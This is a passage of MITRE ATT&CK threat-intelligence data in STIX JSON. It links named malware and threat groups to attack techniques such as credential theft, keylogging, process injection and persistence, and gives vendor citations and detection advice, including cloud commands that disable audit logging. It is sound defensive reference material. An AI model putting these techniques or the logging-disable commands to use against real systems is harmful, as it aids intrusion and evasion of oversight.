"2019-07-26T23:22:28.704Z", "description": "[Azorult](https://attack.mitre.org/software/S0344) can steal credentials from the victim's browser.(Citation: Unit42 Azorult Nov 2018)", "relationship_type": "uses", "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080", "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4ffef54e-be6b-40cf-9446-d886f298d79c", "type": "relationship", "created": "2021-09-02T16:04:48.327Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf", "description": "Huss, D. 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Retrieved June 8, 2016.", "source_name": "Proofpoint Operation Transparent Tribe March 2016"}], "modified": "2021-10-15T14:37:09.662Z", "description": "[Crimson](https://attack.mitre.org/software/S0115) can decode its encoded PE file prior to execution.(Citation: Proofpoint Operation Transparent Tribe March 2016)", "relationship_type": "uses", "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--50001cfb-68b5-423c-9c18-6c26f6daad3f", "type": "relationship", "created": "2020-07-16T15:24:32.826Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET InvisiMole June 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf", "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}], "modified": "2020-07-16T15:24:32.826Z", "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can capture keystrokes on a compromised host.(Citation: ESET InvisiMole June 2020)", "relationship_type": "uses", "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--500130c0-d049-4e67-9bcc-d60a5f6dfd4c", "created": "2017-05-31T21:33:27.069Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Novetta Blockbuster Destructive Malware", "url": "https://web.archive.org/web/20160303200515/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf", "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016."}, {"source_name": "Novetta Blockbuster Loaders", "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf", "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016."}, {"source_name": "Novetta Blockbuster RATs", "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf", "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016."}, {"source_name": "Novetta Blockbuster", "url": "https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf", "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016."}, {"source_name": "Lazarus APT January 2022", "url": "https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/", "description": "Saini, A. and Hossein, J. (2022, January 27). North Korea\u2019s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022."}, {"source_name": "McAfee Lazarus Resurfaces Feb 2018", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/", "description": "Sherstobitoff, R. (2018, February 12). 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Retrieved August 7, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "Various [Lazarus Group](https://attack.mitre.org/groups/G0032) malware enumerates logged-on users.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: Novetta Blockbuster Loaders)(Citation: Novetta Blockbuster RATs)(Citation: McAfee Lazarus Resurfaces Feb 2018)(Citation: SentinelOne Lazarus macOS July 2020)(Citation: Lazarus APT January 2022)", "modified": "2022-07-28T18:55:36.007Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--500bb3d4-9c5e-4020-b173-1a83e5ce1c3c", "created": "2023-01-20T18:45:18.238Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Microsoft Prestige ransomware October 2022", "description": "MSTIC. (2022, October 14). New \u201cPrestige\u201d ransomware impacts organizations in Ukraine and Poland. Retrieved January 19, 2023.", "url": "https://www.microsoft.com/en-us/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-05T14:00:12.284Z", "description": "(Citation: Microsoft Prestige ransomware October 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", "target_ref": "malware--1da748a5-875d-4212-9222-b4c23ab861be", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--500c36bc-9f08-404c-9aa6-38680c529ced", "created": "2021-01-07T20:40:41.530Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye NETWIRE March 2019", "description": "Maniath, S. and Kadam P. (2019, March 19). Dissecting a NETWIRE Phishing Campaign's Usage of Process Hollowing. Retrieved January 7, 2021.", "url": "https://www.mandiant.com/resources/blog/dissecting-netwire-phishing-campaigns-usage-process-hollowing"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-13T18:16:43.580Z", "description": "The [NETWIRE](https://attack.mitre.org/software/S0198) binary has been executed via PowerShell script.(Citation: FireEye NETWIRE March 2019)", "relationship_type": "uses", "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--500c4228-b676-4f47-a391-9e52abd5ea51", "type": "relationship", "created": "2019-06-20T20:53:17.574Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/", "source_name": "ESET Turla PowerShell May 2019"}], "modified": "2019-07-14T21:04:45.408Z", "description": "[Turla](https://attack.mitre.org/groups/G0010) RPC backdoors can upload files from victim machines.(Citation: ESET Turla PowerShell May 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--500e5d85-cff1-44e8-869c-0c9ab24622c3", "type": "relationship", "created": "2022-03-30T14:26:51.845Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.845Z", "description": "Monitor processes for abnormal behavior indicative of DDE abuse, such as Microsoft Office applications loading DLLs and other modules not typically associated with the application or these applications spawning unusual processes (such as cmd.exe).", "source_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", "target_ref": "attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--501000d2-04db-4f89-96fe-2eef2e46bc43", "created": "2022-03-30T14:26:51.851Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Stopping CloudTrail from Sending Events to CloudWatch Logs", "url": "https://docs.aws.amazon.com/awscloudtrail/latest/userguide/stop-cloudtrail-from-sending-events-to-cloudwatch-logs.html", "description": "Amazon Web Services. (n.d.). Stopping CloudTrail from Sending Events to CloudWatch Logs. Retrieved October 16, 2020."}, {"source_name": "Configuring Data Access audit logs", "url": "https://cloud.google.com/logging/docs/audit/configure-data-access", "description": "Google. (n.d.). Configuring Data Access audit logs. Retrieved October 16, 2020."}, {"source_name": "az monitor diagnostic-settings", "url": "https://docs.microsoft.com/en-us/cli/azure/monitor/diagnostic-settings?view=azure-cli-latest#az_monitor_diagnostic_settings_delete", "description": "Microsoft. (n.d.). az monitor diagnostic-settings. Retrieved October 16, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "Monitor logs for API calls to disable logging. In AWS, monitor for: <code>StopLogging</code> and <code>DeleteTrail</code>.(Citation: Stopping CloudTrail from Sending Events to CloudWatch Logs) In GCP, monitor for: <code>google.logging.v2.ConfigServiceV2.UpdateSink</code>.(Citation: Configuring Data Access audit logs) In Azure, monitor for <code>az monitor diagnostic-settings delete</code>.(Citation: az monitor diagnostic-settings) Additionally, a sudden loss of a log source may indicate that it has been disabled.", "modified": "2022-04-14T16:12:31.731Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--ec0612c5-2644-4c50-bcac-82586974fedd", "target_ref": "attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--5011498f-ddfd-44fb-8f1b-8b7e9a113a26", "created": "2024-03-07T20:25:10.277Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant Cutting Edge Part 3 February 2024", "description": "Lin, M. et al. (2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.", "url": "https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"}, {"source_name": "Mandiant Cutting Edge Part 2 January 2024", "description": "Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.", "url": "https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-17T20:56:06.497Z", "description": "[BUSHWALK](https://attack.mitre.org/software/S1118) can embed into the legitimate `querymanifest.cgi` file on compromised Ivanti Connect Secure VPNs.(Citation: Mandiant Cutting Edge Part 2 January 2024)(Citation: Mandiant Cutting Edge Part 3 February 2024)", "relationship_type": "uses", "source_ref": "malware--29a0bb87-1162-4c83-9834-2a98a876051b", "target_ref": "attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--5014ae85-9335-40df-b03b-bc08964d4ff7", "created": "2022-10-06T16:15:26.698Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "McAfee Night Dragon", "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", "url": "https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-06T16:16:44.726Z", "description": "During [Night Dragon](https://attack.mitre.org/campaigns/C0002), threat actors used password cracking and pass-the-hash tools to discover usernames and passwords.(Citation: McAfee Night Dragon)", "relationship_type": "uses", "source_ref": "campaign--ae407e32-87e0-4d92-8705-3ae25d504d8a", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5014ed30-309e-4bed-af86-ec5603736342", "type": "relationship", "created": "2021-09-15T14:37:10.436Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Bitdefender FIN8 July 2021", "url": "https://businessinsights.bitdefender.com/deep-dive-into-a-fin8-attack-a-forensic-investigation", "description": "Martin Zugec. (2021, July 27). Deep Dive Into a FIN8 Attack - A Forensic Investigation. Retrieved September 1, 2021."}], "modified": "2021-09-15T14:37:10.436Z", "description": "[FIN8](https://attack.mitre.org/groups/G0061) has used WMI event subscriptions for persistence.(Citation: Bitdefender FIN8 July 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", "target_ref": "attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--50156329-1c32-4044-9c6e-ee2eb079cd1c", "type": "relationship", "created": "2020-06-10T21:56:40.191Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT Ukraine Feb 2016", "url": "https://www.us-cert.gov/ics/alerts/IR-ALERT-H-16-056-01", "description": "US-CERT. (2016, February 25). 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Retrieved June 10, 2020."}], "modified": "2020-06-10T21:56:40.191Z", "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) have used previously acquired legitimate credentials prior to attacks.(Citation: US-CERT Ukraine Feb 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5017f2dc-e43e-438b-b63f-5f3f4603e9db", "type": "relationship", "created": "2021-09-21T15:16:40.902Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET BackdoorDiplomacy Jun 2021", "url": "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/", "description": "Adam Burgher. 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Retrieved January 24, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "(Citation: Check Point APT35 CharmPower January 2022)", "modified": "2022-04-08T17:47:47.146Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", "target_ref": "malware--7acb15b6-fe2c-4319-b136-6ab36ff0b2d4", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--50271beb-48b1-411e-86b5-990b4cbb1fb5", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf", "description": "Gross, J. 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Retrieved December 6, 2021."}], "modified": "2021-12-08T18:16:03.102Z", "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) can use rundll32 for execution on compromised hosts.(Citation: Gigamon Berserk Bear October 2021)", "relationship_type": "uses", "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974", "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--50565ea3-2627-44b0-8dd3-155e37d425f3", "type": "relationship", "created": "2020-03-15T14:59:15.466Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-02-24T15:21:39.995Z", "description": "Some endpoint security solutions can be configured to block some types of process injection based on common sequences of behavior that occur during the injection process. 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Retrieved December 1, 2020."}], "modified": "2020-12-01T14:44:51.438Z", "description": "[Bazar](https://attack.mitre.org/software/S0534) can inject into a target process using process doppelg\u00e4nging.(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)", "relationship_type": "uses", "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", "target_ref": "attack-pattern--7007935a-a8a7-4c0b-bd98-4e85be8ed197", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5067b073-c076-43c1-9b71-122e31c39575", "type": "relationship", "created": "2022-03-30T14:26:51.847Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.847Z", "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--506acc8a-e691-4f4e-b69f-bfab84cf2c73", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html", "description": "Erickson, J., McWhirt, M., Palombo, D. (2017, May 3). To SDB, Or Not To SDB: FIN7 Leveraging Shim Databases for Persistence. Retrieved July 18, 2017.", "source_name": "FireEye FIN7 Shim Databases"}], "modified": "2019-06-30T23:13:18.342Z", "description": "[FIN7](https://attack.mitre.org/groups/G0046) has used application shim databases for persistence.(Citation: FireEye FIN7 Shim Databases)", "relationship_type": "uses", "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", "target_ref": "attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--506d7613-59ce-4fa4-90b3-f991691d5b93", "type": "relationship", "created": "2020-11-08T23:40:19.693Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Kimsuky November 2020", "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}], "modified": "2021-04-22T13:42:19.853Z", "description": "[KGH_SPY](https://attack.mitre.org/software/S0526) has masqueraded as a legitimate Windows tool.(Citation: Cybereason Kimsuky November 2020)", "relationship_type": "uses", "source_ref": "malware--8bdfe255-e658-4ddd-a11c-b854762e451d", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--506ed241-ba1e-47da-901a-d1943510d4b5", "type": "relationship", "created": "2020-06-10T19:31:48.042Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Tick November 2019", "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf", "description": "Chen, J. et al. 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Retrieved June 9, 2020."}], "modified": "2020-06-24T01:27:32.415Z", "description": "[build_downer](https://attack.mitre.org/software/S0471) has added itself to the Registry Run key as \"NVIDIA\" to appear legitimate.(Citation: Trend Micro Tick November 2019)", "relationship_type": "uses", "source_ref": "malware--d2c7f8ad-3b50-4cfa-bbb1-799eff06fb40", "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5070c502-1f3b-4e8c-8eb5-2ea5379fd8f4", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 VERMIN Jan 2018", "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"}], "modified": "2020-03-16T19:50:58.017Z", "description": "[VERMIN](https://attack.mitre.org/software/S0257) collects data stored in the clipboard.(Citation: Unit 42 VERMIN Jan 2018)", "relationship_type": "uses", "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3", "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--507142c0-2cb1-4e3e-bf27-9514694a7d91", "type": "relationship", "created": "2022-03-30T14:26:51.847Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.847Z", "description": "Monitor for suspicious files (i.e. .pdf, .docx, .jpg, etc.) viewed in isolation that may steal data by exfiltrating it over an existing command and control channel.", "source_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5071c70a-5aa8-4534-8cc4-676192728151", "type": "relationship", "created": "2020-02-11T18:25:28.308Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-11T18:25:28.308Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541", "target_ref": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5073b1b4-4018-4208-a46e-86a8358a6cee", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Trojan.Hydraq Jan 2010", "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.", "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident"}, {"source_name": "Symantec Hydraq Jan 2010", "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.", "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99"}], "modified": "2020-02-18T03:48:53.736Z", "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can read data from files.(Citation: Symantec Trojan.Hydraq Jan 2010)(Citation: Symantec Hydraq Jan 2010)", "relationship_type": "uses", "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--5077f774-95a4-459e-b88c-cb3a4dd5c8c6", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Palo Alto Reaver Nov 2017", "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.", "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-11T00:20:25.071Z", "description": "[Reaver](https://attack.mitre.org/software/S0172) encrypts some of its files with XOR.(Citation: Palo Alto Reaver Nov 2017)", "relationship_type": "uses", "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29", "target_ref": "attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--507d0a52-450a-4bb9-8667-e787f8c589f2", "created": "2023-01-31T02:20:25.497Z", "revoked": false, "external_references": [{"source_name": "SentinelLabs Metador Sept 2022", "description": "Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.", "url": "https://assets.sentinelone.com/sentinellabs22/metador#page=1"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-01-31T02:20:25.497Z", "description": "[metaMain](https://attack.mitre.org/software/S1059) has reflectively loaded a DLL to read, decrypt, and load an orchestrator file.(Citation: SentinelLabs Metador Sept 2022)", "relationship_type": "uses", "source_ref": "malware--df350889-4de9-44e5-8cb3-888b8343e97c", "target_ref": 